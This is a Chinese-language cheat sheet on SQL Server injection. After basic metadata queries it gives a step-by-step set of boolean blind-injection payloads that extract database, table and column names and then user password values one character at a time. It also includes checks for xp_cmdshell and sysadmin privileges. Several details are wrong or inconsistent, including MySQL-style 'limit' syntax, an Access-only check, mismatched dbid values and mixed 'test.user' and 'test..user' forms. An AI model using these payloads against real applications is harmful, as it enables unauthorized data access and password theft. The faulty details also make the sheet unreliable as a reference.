SQL SERVER的注入要点
一、SQLServer数据库的查询语句
#函数查询
1.select @@version; #查询数据库的版本
2.select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
3.select db_name(); #查询当前数据库名
4.select user; #查询当前数据库的拥有者,结果为dbo。dbo是每个数据库的默认用户, 具有所有者权限全称:databaseOwner,即DbOwner
5.use tempdb #切换到tempdb表
6.top n #查询前n条记录
7.limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
8.select substring('string',2,1) #截取给定字符串的索引为2的1个字符
9.select ascii('a') #查询给定字符串的ascii值
10.select len('string') #查询给定字符串的长度
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
#查询数据库
select count(name) from sys.databases #查询数据库的个数
select name from sys.databases #查询数据库的名字
select * from sys.databases #查询所有数据库的信息
#查询数据表
select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息
#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
#查询数据
select count(*) from test..user #查询test数据库user表的数据的条数
select * from test..user #查询test数据库user表的所有数据
二、SQLServer盲注
1.Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
exists(select*from msysobjects)
2.判断xp_cmdshell是否存在存在
and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3.判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低
4.判断数据库的个数
and (select count(name) from sysdatabases)>N
5.判断dbid,一般数据库有多少个,dbid的值就为多少
and (select count(*) from sysdatabases where dbid=N)=1
6.判断当前数据库名
#判断数据库的长度,由以下得知数据库的长度是8
and len(db_name())>5 //正常显示
and len(db_name())>10 //不正常显示
and len(db_name())>7 //正常显示
and len(db_name())>8 //不正常显示
#判断数据库字符的ascii值
and ascii(substring(db_name(),1,1))>95 //正常显示
and ascii(substring(db_name(),1,1))>100 //不正常显示
and ascii(substring(db_name(),1,1))>96 //正常显示
and ascii(substring(db_name(),1,1))>97 //不正常显示
#所以数据库的第一个字符的ascii值为97,即为a。
#以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
#直到爆出数据库最后一位字符,得到数据库名字。
7.根据dbid得到所有数据库名
判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5 //正常显示
and len(db_name(1))>10 //不正常显示
and len(db_name(1))>7 //正常显示
and len(db_name(1))>8 //不正常显示
判断dbid为2数据库字符的ascii值
and ascii(substring(db_name(2),1,1))>95 //正常显示
and ascii(substring(db_name(2),1,1))>100 //不正常显示
and ascii(substring(db_name(2),1,1))>96 //正常显示
and ascii(substring(db_name(2),1,1))>97 //不正常显示
所以dbid为1数据库的第一个字符的ascii值为97,即为a。
以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
数据库的第三个字符为 and ascii(substring(db_name(),3,1))>97
直到爆出数据库最后一位字符,得到数据库名字。
这里假设我们知道了数据库中存在 test 数据库
8.爆破test数据库中表的个数
and (select count(name) from test..sysobjects where xtype='U')>N
9.爆破test数据库中表的长度和名称
#爆破test数据库中第一个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
#爆破test数据库中第一个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第一个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第一个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
.......
#爆破test数据库中第二个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
#爆破test数据库中第二个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第二个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第二个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
.......
这里假设我们爆出了user表
10.爆破test数据库中user表的列数
and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N
11.爆破test数据库中user表的列名
爆破test数据库中user表的第一列的长度:
and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
爆破test数据库中user表的第一列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
爆破test数据库中user表的第一列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
爆破test数据库中user表的第一列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
........
爆破test数据库中user表的第二列的长度:
and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
爆破test数据库中user表的第二列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
爆破test数据库中user表的第二列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
爆破test数据库中user表的第二列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
........
这里假设我们爆出了password列
12.爆出test数据库中user表中password列的数据条数
and (select count(*) from test..user)=N
13.爆破test数据库中user表中password列中的数据
#爆破test数据库中user表中password列中第一行数据的长度
and (select top 1 len(password) from test..user where password not in (select top 1 id from test..user))>N
#爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
........
#爆破test数据库中user表中password列中第二行数据的长度
and (select top 1 len(password) from test..user where password not in (select top 2 id from test..user))>N
#爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
........
参考链接:https://blog.csdn.net/qq_36119192/article/details/88679754